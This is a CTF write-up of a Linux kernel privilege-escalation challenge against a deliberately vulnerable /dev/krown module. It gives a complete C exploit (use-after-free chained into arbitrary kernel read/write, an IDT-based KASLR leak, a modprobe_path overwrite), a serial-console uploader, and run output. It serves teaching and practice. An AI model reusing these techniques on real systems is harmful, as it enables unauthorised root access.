HTB Cyber Apocalypse 2026 - The Salt Crown: Pwn / Heavy is the Krown (Insane)

Author: Hubert Feyrer / hubertf - 31.07.2026

Challenge description

The Brine Signet lies shattered beneath the waves. Astrael has vanished into the upper storms. Only the Salt Crown remains - heavy with the weight of a kingdom that drowns in its own blood. When the Seal broke, the Realm bled. The Cinderbound guard what remains. And the sea... the sea remembers everything.

A Linux kernel challenge: a vulnerable char device in a QEMU VM, running as an unprivileged user, with the flag readable only by root. Two bugs that are useless on their own combine into arbitrary kernel read and write - and root comes from modprobe_path rather than from hunting for credentials.

1. Download

$ unzip -l a2524535-e71a-4fb2-aed1-ab2d7de9c78d-1784742321.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
 10085376  05-18-2026 03:32   vmlinuz
   727706  05-18-2026 03:32   initramfs.cpio.gz
       350  05-18-2026 03:32   run.sh
---------                     -------
 10813432                     3 files

run.sh is the whole target description:

qemu-system-x86_64 \
      -cpu qemu64,+smep,+smap \
      -kernel ./vmlinuz \
      -initrd ./initramfs.cpio.gz \
      -append 'console=ttyS0 quiet loglevel=3 oops=panic panic=1 init=/init root=/dev/ram0' \
      -smp 2 -m 256M

Conclusion: Supervisor Mode Execution Prevention (SMEP) and Supervisor Mode Access Prevention (SMAP) are on, so the kernel may neither execute nor read userspace memory. And oops=panic panic=1 means one wrong step kills the VM - there is no probing, no trial and error against a live target.

2. Docker/nc - what we get

$ sh run.sh
SeaBIOS (version rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org)
Booting from ROM..
...
~ $ ls
bin   etc   home   lib   root   sys
dev   flag.txt   init   proc   sbin   tmp
~ $ cat flag.txt
cat: can't open 'flag.txt': Permission denied
~ $ id
uid=65534 gid=65534 groups=65534

A shell as nobody, and a flag we may not read. So: local privilege escalation.

~ $ lsmod
krown 16384 0 - Live 0x0000000000000000 (O)
~ $ ls -la /dev/*krown*
crw-rw-rw-  1 0 0 251, 0 Jul 26 11:34 /dev/krown

Conclusion: A custom kernel module with a world-writable device node. That is the attack surface. Note the module base reads as 0x0 and /sys/module/krown/sections/ is unreadable - the addresses are hidden on purpose.

3. Analysis steps

3.1 Unpack the initramfs (success)

Before reversing the module, find out how the environment is set up - the constraints are usually in /init.

insmod /lib/modules/krown.ko
chmod -R 000 /sys/module/krown/sections/     <- no module base for us
sleep 1
major=$(grep krown /proc/devices | awk '{print $1}')
mknod /dev/krown c $major 0
chmod 666 /dev/krown                          <- everyone may talk to it
...
mount -t tmpfs -o noexec,nodev,nosuid tmpfs /tmp
...
exec setsid /bin/cttyhack setuidgid 65534 /bin/sh

Conclusion: Three constraints fall out: the module base is deliberately hidden, the device is open to everyone, and /tmp is mounted noexec - which matters later, because the privilege escalation needs somewhere to put an executable helper. /home is world-writable and on the rootfs, so that is the spot.

3.2 Reverse the module (success)

krown.ko in Ghidra. It manages up to 64 objects in a global registry, driven by ioctls.

Both object types share one 0x1f0-byte allocation, which lands in kmalloc-512:

+0x00 u32       id        index in the registry
+0x04 u32       type      1 = crown, 2 = gem
+0x08 u64       cookie    checked by every operation
+0x10 u64       seal      a pointer, only used by witness/inscribe
+0x48 u32       count     how many gems are bound
+0x50 u64[16]   gems      pointers to bound gems
ioctlWhat it does
new_crown / new_gemallocate an object
bind / unbindattach a gem to a crown
breakfree an object
examine / impressread / write a bound gem, offset capped at 0x1f0
witness / inscriberead / write at seal + offset

Conclusion: Two flaws, and neither is exploitable alone:

  1. Use-after-free. bind stores the gem pointer in two places: registry[id] and the crown's array at +0x50. break frees the object but clears only registry[id] - the crown keeps its pointer, and examine/impress follow it happily, checking only that it is non-NULL. That is a use-after-free (UAF).
  2. Unbounded offset. witness/inscribe add a fully user-controlled 64-bit offset to seal with no bounds check at all - unlike examine/impress, which validate against 0x1f0.

Flaw 2 looks like an instant win, but seal is zeroed on allocation and no operation ever writes it. It is permanently NULL. Flaw 1 gives read and write over a freed 0x1f0 block - useful, but only within that block.

3.3 Chain them (success)

Flaw 1 can write anywhere inside a freed 0x1f0 block. seal lives at +0x10 - inside that block. So flaw 1 can plant the value flaw 2 needs.

1.  bind a gem to a crown, then break the gem      -> crown holds a dangling pointer
2.  spray fresh crowns                             -> one lands in the freed slot
3.  impress through the stale pointer, writing +0x10  -> that crown's seal is now ours
4.  witness / inscribe on the victim crown         -> arbitrary kernel read and write

Step 2 needs care: kmalloc-512 is a per-CPU LIFO freelist, so the next same-size allocation should take the hole - but the kernel allocates from that cache for its own reasons too. The exploit sprays and then checks which of its own crowns actually shows up through the stale pointer, rather than assuming.

Conclusion: Only seal may be overwritten. id, type and cookie sit below 0x10 and must stay intact, or the victim fails every validity check.

3.4 Break KASLR (success)

Arbitrary read is useless without knowing where to read. The module base is hidden and Kernel Address Space Layout Randomization (KASLR) is on.

The IDT is the way in. The Interrupt Descriptor Table is a CPU structure, one per core: 256 entries, one per interrupt or exception vector, each holding the address of the handler the CPU jumps to when that event fires. The kernel builds it at boot and points the CPU at it; entry 0 is the divide-by-zero handler, entry 14 the page fault, and so on.

Two properties make it a KASLR oracle:

A structure at a known address whose contents move with the kernel is exactly what is needed: read entry 0, recover asm_exc_divide_error, subtract its known offset, and the kernel base falls out. One read, no searching.

Conclusion: One arbitrary read at a constant address defeats KASLR. The exploit sanity-checks the result (handler >> 32 == 0xffffffff) before trusting it - with panic=1, a wrong address is fatal.

3.5 Get root without touching cred (success)

The textbook route is to find the current task's cred structure and zero the UIDs. That means walking kernel structures - many reads, each a chance to panic.

modprobe_path is cheaper. It is a writable global holding /sbin/modprobe, and the kernel executes whatever path is stored there as root whenever it is asked to run a file whose format it does not recognise. Overwrite it, then execute a file with a nonsense magic:

write_file("/home/x", "#!/bin/sh\nchmod 644 /flag.txt\n", 0777);
write_file("/home/trigger", "\xde\xad\xbe\xef", 0777);   /* no known format */
execl("/home/trigger", ...);                            /* kernel runs /home/x as root */

Conclusion: One write instead of a structure walk. And because the helper runs as root, it only has to chmod the flag - no copying, no shell needed. The helper goes in /home, since /tmp is noexec (step 3.1).

3.6 Get the exploit into the VM (failed, then fixed)

The remote target is a serial console. There is no scp, no network in the VM - the binary has to arrive through the terminal.

Two problems, in order:

Conclusion: upload.py gzips, base64-encodes and sends the result in small paced chunks, then reverses it on the far side with base64 -d ... | gunzip - busybox has both. It verifies before running (head -c4 /home/e | xxd must show 7f45 4c46, i.e. \x7fELF), because a truncated transfer otherwise shows up as a confusing crash rather than as a bad upload. The build has to be cross-compiled because the host is arm64 while the target VM is x86-64, and statically linked because the initramfs has no dynamic loader and no libc: x86_64-linux-gnu-gcc -static -Os -s -o exploit exploit.c.

3.7 Kernel versions differ (noted)

The handout and the live instance are not the same build.

local:   #1 SMP PREEMPT_DYNAMIC Mon May 18 00:20:24 UTC 2026   (gcc)
remote:  #1 SMP PREEMPT_DYNAMIC Thu Jul 23 23:33:26 UTC 2026   (clang 16)

Conclusion: Two months and a different compiler apart, so no offset may be hardcoded from the local kernel. modprobe_path has to be searched for at runtime, scanning from the leaked text address for the string /sbin/modprobe. That is what makes the exploit portable between the two.

4. Solution

4.1 The exploit

/*
 * Heavy Is The Krown - local privilege escalation via /dev/krown
 *
 * The module keeps up to 64 objects in a global registry. Two types share
 * one 0x1f0-byte allocation, so both land in kmalloc-512:
 *
 *     +0x00  u32       id       index in the registry
 *     +0x04  u32       type     1 = crown, 2 = gem
 *     +0x08  u64       cookie   checked by every operation
 *     +0x10  u64       seal     a pointer, only used by witness/inscribe
 *     +0x48  u32       count    how many gems are bound
 *     +0x50  u64[16]   gems     pointers to bound gems
 *
 * Two flaws combine:
 *
 *   1. krown_bind stores a gem pointer in the crown's array, but krown_break
 *      only clears registry[id] and frees the object - the crown keeps its
 *      pointer. examine/impress follow it happily, checking only that it is
 *      non-NULL. That is a use-after-free with read and write on 0x1f0 bytes.
 *
 *   2. witness/inscribe add a fully user-controlled 64-bit offset to the
 *      seal pointer without any bounds check, unlike examine/impress which
 *      validate against 0x1f0.
 *
 * Neither is enough alone: the seal is zeroed on allocation and no operation
 * ever writes it. Chained, they are:
 *
 *     bind a gem, free it, let a fresh crown take over the same memory, then
 *     use the stale pointer to write that crown's seal. Now witness and
 *     inscribe read and write anywhere in kernel memory.
 *
 * KASLR falls to the IDT, which on 6.1 still lives at a fixed address in the
 * cpu_entry_area (6.2 randomised it). Entry 0 holds asm_exc_divide_error, so
 * one read gives the kernel base.
 *
 * Root then comes from modprobe_path rather than from hunting for cred: the
 * kernel runs whatever path is stored there, as root, whenever it is asked to
 * execute a file whose format it does not recognise. /tmp is mounted noexec,
 * but /home is world-writable and on the rootfs, so the helper goes there.
 *
 * Build statically - the target has no loader for anything else:
 *     gcc -static -O2 -o exploit exploit.c
 */

#define _GNU_SOURCE   /* for memmem */

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>

#define KROWN_NEW_CROWN 0xc1204b00
#define KROWN_NEW_GEM   0xc1204b01
#define KROWN_BREAK     0x41204b02
#define KROWN_BIND      0x41204b03
#define KROWN_UNBIND    0x41204b04
#define KROWN_EXAMINE   0xc1204b05
#define KROWN_IMPRESS   0x41204b06
#define KROWN_WITNESS   0xc1204b07
#define KROWN_INSCRIBE  0x41204b08

/* Offsets inside an object, from the layout above. */
#define OFF_SEAL 0x10

/* cpu_entry_area, fixed on 6.1 */
#define IDT_ADDR 0xfffffe0000000000ULL

/* How far past the IDT handler to look for modprobe_path. It sits in .data,
 * the handler in .text, so the string is always above it - about 11 MB in
 * the builds seen so far. 48 MB is generous and still lands inside the
 * image, which matters: reading past _end would fault, and panic_on_oops
 * turns any fault into a dead VM. */
#define SCAN_LIMIT 0x3000000ULL
#define MODPROBE_STR "/sbin/modprobe"

#define SPRAY 32
#define HELPER "/home/x"
#define TRIGGER "/home/trigger"
#define FLAG "/flag.txt"

/* The ioctl argument, 0x120 bytes, copied in and out wholesale. */
struct req {
	uint32_t id;      /* 0x00  object id                     */
	uint32_t idx;     /* 0x04  gem index, or second id       */
	uint64_t off;     /* 0x08  offset                        */
	uint64_t len;     /* 0x10  length, capped at 0x100       */
	uint64_t pad;     /* 0x18                                */
	uint8_t buf[256]; /* 0x20  payload                       */
};

static int fd;

static void die(const char *what)
{
	perror(what);
	exit(1);
}

static int call(unsigned long cmd, struct req *r)
{
	return ioctl(fd, cmd, r);
}

static int new_object(unsigned long cmd)
{
	struct req r;

	memset(&r, 0, sizeof(r));
	if (call(cmd, &r) < 0)
		die("allocation");
	return r.id;
}

static void bind_gem(int crown, int gem)
{
	struct req r;

	memset(&r, 0, sizeof(r));
	r.id = crown;
	r.idx = gem;
	if (call(KROWN_BIND, &r) < 0)
		die("bind");
}

static void break_object(int id)
{
	struct req r;

	memset(&r, 0, sizeof(r));
	r.id = id;
	if (call(KROWN_BREAK, &r) < 0)
		die("break");
}

/* Read through the crown's gem array - after the free, through a dangling
 * pointer into whatever now occupies that memory. */
static void examine(int crown, int slot, uint64_t off, uint64_t len, void *out)
{
	struct req r;

	memset(&r, 0, sizeof(r));
	r.id = crown;
	r.idx = slot;
	r.off = off;
	r.len = len;
	if (call(KROWN_EXAMINE, &r) < 0)
		die("examine");
	memcpy(out, r.buf, len);
}

/* The write counterpart, same stale pointer. */
static void impress(int crown, int slot, uint64_t off, uint64_t len,
		    const void *in)
{
	struct req r;

	memset(&r, 0, sizeof(r));
	r.id = crown;
	r.idx = slot;
	r.off = off;
	r.len = len;
	memcpy(r.buf, in, len);
	if (call(KROWN_IMPRESS, &r) < 0)
		die("impress");
}

/* Arbitrary read: the seal is set to 1, so off is effectively an absolute
 * address minus one. */
static void kread(int crown, uint64_t addr, uint64_t len, void *out)
{
	struct req r;

	memset(&r, 0, sizeof(r));
	r.id = crown;
	r.off = addr - 1;
	r.len = len;
	if (call(KROWN_WITNESS, &r) < 0)
		die("witness");
	memcpy(out, r.buf, len);
}

static void kwrite(int crown, uint64_t addr, uint64_t len, const void *in)
{
	struct req r;

	memset(&r, 0, sizeof(r));
	r.id = crown;
	r.off = addr - 1;
	r.len = len;
	memcpy(r.buf, in, len);
	if (call(KROWN_INSCRIBE, &r) < 0)
		die("inscribe");
}

/* An IDT gate scatters the handler address over three fields. */
static uint64_t gate_target(const uint8_t *gate)
{
	uint64_t low = *(uint16_t *)(gate + 0);
	uint64_t mid = *(uint16_t *)(gate + 6);
	uint64_t high = *(uint32_t *)(gate + 8);

	return low | (mid << 16) | (high << 32);
}

/* Hunt for modprobe_path instead of relying on an offset from a local
 * vmlinuz. The live instance turned out to run a different build of the same
 * kernel version - different compiler, different day - so every hardcoded
 * offset was wrong. Searching costs a few tens of thousands of reads, all of
 * them inside the guest, and makes the exploit independent of the image.
 */
static uint64_t find_modprobe(int crown, uint64_t from)
{
	const size_t need = sizeof(MODPROBE_STR) - 1;
	uint8_t buf[0x100];
	uint64_t addr;

	for (addr = from & ~0xfffULL; addr < from + SCAN_LIMIT;
	     addr += sizeof(buf) - need) {
		uint8_t *hit;

		kread(crown, addr, sizeof(buf), buf);
		/* Overlap each window by the needle length, so a string
		 * straddling two windows is still found. */
		hit = memmem(buf, sizeof(buf), MODPROBE_STR, need);
		if (hit)
			return addr + (uint64_t)(hit - buf);
	}
	return 0;
}

static void write_file(const char *path, const char *content, int mode)
{
	int out = open(path, O_WRONLY | O_CREAT | O_TRUNC, mode);

	if (out < 0)
		die(path);
	if (write(out, content, strlen(content)) < 0)
		die("write");
	close(out);
	chmod(path, mode);
}

int main(void)
{
	int crown, gem, sprayed[SPRAY], victim = -1;
	uint64_t seal = 1, handler, modprobe;
	uint8_t gate[16];
	uint32_t header[2];
	int i;

	fd = open("/dev/krown", O_RDWR);
	if (fd < 0)
		die("/dev/krown");

	/* --- build the dangling pointer ------------------------------- */
	crown = new_object(KROWN_NEW_CROWN);
	gem = new_object(KROWN_NEW_GEM);
	bind_gem(crown, gem);
	break_object(gem);
	printf("[*] crown %d holds a stale pointer to freed gem %d\n",
	       crown, gem);

	/* --- get a fresh crown into that memory ----------------------- */
	/* The freelist is LIFO, so the next same-size allocation should
	 * land there - but the kernel allocates from kmalloc-512 for its
	 * own reasons too, so spray and check rather than assume. */
	for (i = 0; i < SPRAY; i++)
		sprayed[i] = new_object(KROWN_NEW_CROWN);

	examine(crown, 0, 0, sizeof(header), header);
	printf("[*] freed memory now reads id=%u type=%u\n",
	       header[0], header[1]);
	for (i = 0; i < SPRAY; i++)
		if (sprayed[i] == (int)header[0] && header[1] == 1)
			victim = sprayed[i];
	if (victim < 0) {
		puts("[-] nothing of ours took the hole - rerun");
		return 1;
	}
	printf("[+] crown %d overlaps the stale pointer\n", victim);

	/* --- turn the overlap into arbitrary read and write ----------- */
	/* Only the seal is touched: id, type and cookie sit below 0x10 and
	 * must stay intact or the victim fails every validity check. */
	impress(crown, 0, OFF_SEAL, sizeof(seal), &seal);

	/* --- get a foothold in kernel text through the IDT ------------ */
	kread(victim, IDT_ADDR, sizeof(gate), gate);
	handler = gate_target(gate);
	printf("[+] idt[0] handler at 0x%016llx\n",
	       (unsigned long long)handler);
	if ((handler >> 32) != 0xffffffff) {
		puts("[-] that is not a kernel text address - leak failed");
		return 1;
	}

	/* --- find and redirect modprobe_path -------------------------- */
	modprobe = find_modprobe(victim, handler);
	if (!modprobe) {
		puts("[-] modprobe_path not found within the scan window");
		return 1;
	}
	kwrite(victim, modprobe, sizeof(HELPER), HELPER);
	printf("[+] modprobe_path at 0x%016llx now reads %s\n",
	       (unsigned long long)modprobe, HELPER);

	/* --- and trigger it ------------------------------------------- */
	/* /tmp is noexec, /home is not, so the helper lives there. It runs
	 * as root, so simply opening up the flag is enough - no copying. */
	write_file(HELPER,
		   "#!/bin/sh\n"
		   "chmod 644 " FLAG "\n",
		   0777);

	/* A file with no recognised magic makes the kernel fall back to
	 * the module helper - which is now ours. */
	write_file(TRIGGER, "\xde\xad\xbe\xef", 0777);

	if (fork() == 0) {
		execl(TRIGGER, TRIGGER, NULL);
		_exit(0);
	}
	wait(NULL);
	sleep(1);

	/* --- collect -------------------------------------------------- */
	{
		char flag[128];
		int in = open(FLAG, O_RDONLY);
		ssize_t n;

		if (in < 0) {
			puts("[-] helper did not run - flag still unreadable");
			return 1;
		}
		n = read(in, flag, sizeof(flag) - 1);
		if (n <= 0)
			die("read flag");
		flag[n] = 0;
		printf("\n%s\n", flag);
	}
	return 0;
}

4.2 The uploader

#!/usr/bin/env python3
"""
Ship the exploit into the challenge VM and run it.

The guest has no network - the only channel is the serial console HTB exposes
over TCP. The binary crosses as base64 text that busybox decodes on the far
side, gzip'd first because every byte has to be typed and the static build is
~730 KB.

The console has no flow control, so the first attempt lost characters and the
gzip stream failed its magic check. The fix is to stop guessing at timing:
send one line, wait for the shell to echo its prompt back, then send the next.
Slower, but the bytes arrive intact - which is verified at the end by checking
that the decoded file is actually an ELF before trying to run it.

/home is the one world-writable directory in the image, and unlike /tmp it is
not mounted noexec.

Usage: python3 upload.py <host> <port> [binary]
"""

import base64
import gzip
import socket
import sys
import time

CHUNK = 512
REMOTE = "/home/e"
PROMPT = b"$ "


def drain(sock, timeout=0.5):
    sock.settimeout(timeout)
    data = b""
    while True:
        try:
            part = sock.recv(4096)
        except socket.timeout:
            break
        if not part:
            break
        data += part
    return data


def wait_prompt(sock, timeout=15):
    """Read until the shell prompt comes back, so the next line is not sent
    into a busy console that would drop it."""
    sock.settimeout(timeout)
    data = b""
    while PROMPT not in data[-8:]:
        try:
            part = sock.recv(4096)
        except socket.timeout:
            return data, False
        if not part:
            return data, False
        data += part
    return data, True


def sh(sock, line, timeout=15):
    sock.sendall(line + b"\n")
    return wait_prompt(sock, timeout)


def main():
    if len(sys.argv) < 3:
        sys.exit("usage: %s <host> <port> [binary]" % sys.argv[0])
    host, port = sys.argv[1], int(sys.argv[2])
    path = sys.argv[3] if len(sys.argv) > 3 else "exploit"

    payload = base64.b64encode(gzip.compress(open(path, "rb").read(), 9))
    lines = [payload[i:i + CHUNK] for i in range(0, len(payload), CHUNK)]
    print("[*] %s -> %d base64 bytes in %d lines" % (path, len(payload), len(lines)))

    sock = socket.create_connection((host, port))
    drain(sock, 3)
    sh(sock, b"stty -echo 2>/dev/null; rm -f %s.b64 %s" % (REMOTE.encode(),
                                                           REMOTE.encode()))

    for n, line in enumerate(lines):
        cmd = b"echo -n %s>>%s.b64" % (line, REMOTE.encode())
        for retry in range(5):
            _, ok = sh(sock, cmd, timeout=30)
            if ok:
                break
            drain(sock, 1)   # clear whatever half-line is stuck
            print("    retry line %d (%d)" % (n, retry + 1), flush=True)
        else:
            print("[-] line %d never acked, giving up" % n)
            return
        if n % 40 == 0:
            print("    %d / %d" % (n, len(lines)), flush=True)

    print("[*] decoding and checking")
    sh(sock, b"base64 -d %s.b64 | gunzip > %s" % (REMOTE.encode(),
                                                  REMOTE.encode()))
    sh(sock, b"chmod +x %s" % REMOTE.encode())
    out, _ = sh(sock, b"head -c4 %s | xxd" % REMOTE.encode())
    print(out.decode(errors="replace"))
    if b"7f45 4c46" not in out and b".ELF" not in out:
        print("[-] decoded file is not an ELF - transfer corrupt, rerun")
        return

    print("[*] running")
    sock.sendall(b"%s\n" % REMOTE.encode())
    time.sleep(4)
    out = drain(sock, 30)
    print(out.decode(errors="replace"))

    sock.sendall(b"cat /flag.txt\n")
    time.sleep(2)
    print(drain(sock, 8).decode(errors="replace"))


if __name__ == "__main__":
    main()

5. Run it

Build statically, then push it through the serial console:

$ x86_64-linux-gnu-gcc -static -Os -s -o exploit exploit.c
$ python3 upload.py 154.57.164.73 30841 exploit
[*] exploit -> 437396 base64 bytes in 855 lines
    0 / 855
    40 / 855
    ...
    840 / 855
[*] decoding and checking
head -c4 /home/e | xxd
00000000: 7f45 4c46                                 .ELF
[*] running
/home/e
[*] crown 0 holds a stale pointer to freed gem 1
[*] freed memory now reads id=1 type=1
[+] crown 1 overlaps the stale pointer
[+] idt[0] handler at 0xffffffff96a00990
[+] modprobe_path at 0xffffffff9744b380 now reads /home/x

HTB{h34vy_15_th3_kr0wn_7h4t_w34r5_th3_w31gh7_0f_4uth0r17y}

~ $ cat /flag.txt
HTB{h34vy_15_th3_kr0wn_7h4t_w34r5_th3_w31gh7_0f_4uth0r17y}

The whole setup reproduces locally in QEMU - the handout ships the kernel and the initramfs, so the VM is the target. Booting an initramfs with the exploit baked in:

$ qemu-system-x86_64 -nodefaults -display none -serial stdio \
      -cpu qemu64,+smep,+smap -kernel ./vmlinuz -initrd ./initramfs-pwn.cpio.gz \
      -append 'console=ttyS0 quiet loglevel=3 oops=panic panic=1 init=/init root=/dev/ram0' \
      -nographic -no-reboot -smp 2 -m 256M

~ $ /home/exploit
[*] crown 0 holds a stale pointer to freed gem 1
[*] freed memory now reads id=1 type=1
[+] crown 1 overlaps the stale pointer
[+] idt[0] handler at 0xffffffff85a00990
[+] modprobe_path at 0xffffffff8644b380 now reads /home/x

HTB{fake_flag_for_testing}

~ $ cat /flag.txt
HTB{fake_flag_for_testing}

Same five steps, and note the addresses differ from the remote run (0xffffffff85a00990 vs 0xffffffff96a00990) - that is KASLR being defeated freshly on each boot rather than a hardcoded offset. The local initramfs carries a placeholder flag; the real one only ever existed on the server.

Flag

HTB{h34vy_15_th3_kr0wn_7h4t_w34r5_th3_w31gh7_0f_4uth0r17y}

6. Summary of how the exploit works

#StageMechanism
1Two harmless bugs break frees an object but leaves the pointer in the crown's array (use-after-free). witness/inscribe add an unchecked offset to seal - but seal is always NULL, because nothing writes it.
2The chain seal sits at +0x10, inside the freed block. So the UAF is used to write the field the second bug reads: free a gem, spray crowns until one takes the hole, then write that crown's seal through the stale pointer.
3KASLR On kernel 6.1 the IDT still lives at a fixed address. Entry 0 holds asm_exc_divide_error - one read gives a kernel text address and thus the base. (6.2 randomised this.)
4Root modprobe_path instead of cred: overwrite the global with a path we control, then execute a file with an unrecognised magic. The kernel runs our helper as root - which just chmods the flag.
5Portability Local and remote kernels are two months and one compiler apart, so modprobe_path is located by scanning from the leaked text address rather than by a hardcoded offset.

The instructive part is stage 2. Both bugs were reported as dead ends on their own - one reads and writes only inside a freed 512-byte block, the other dereferences a pointer that is always NULL. What connects them is a single fact about the layout: the always-NULL pointer lives inside the block the other bug controls. That is the whole exploit; everything after it is standard kernel technique.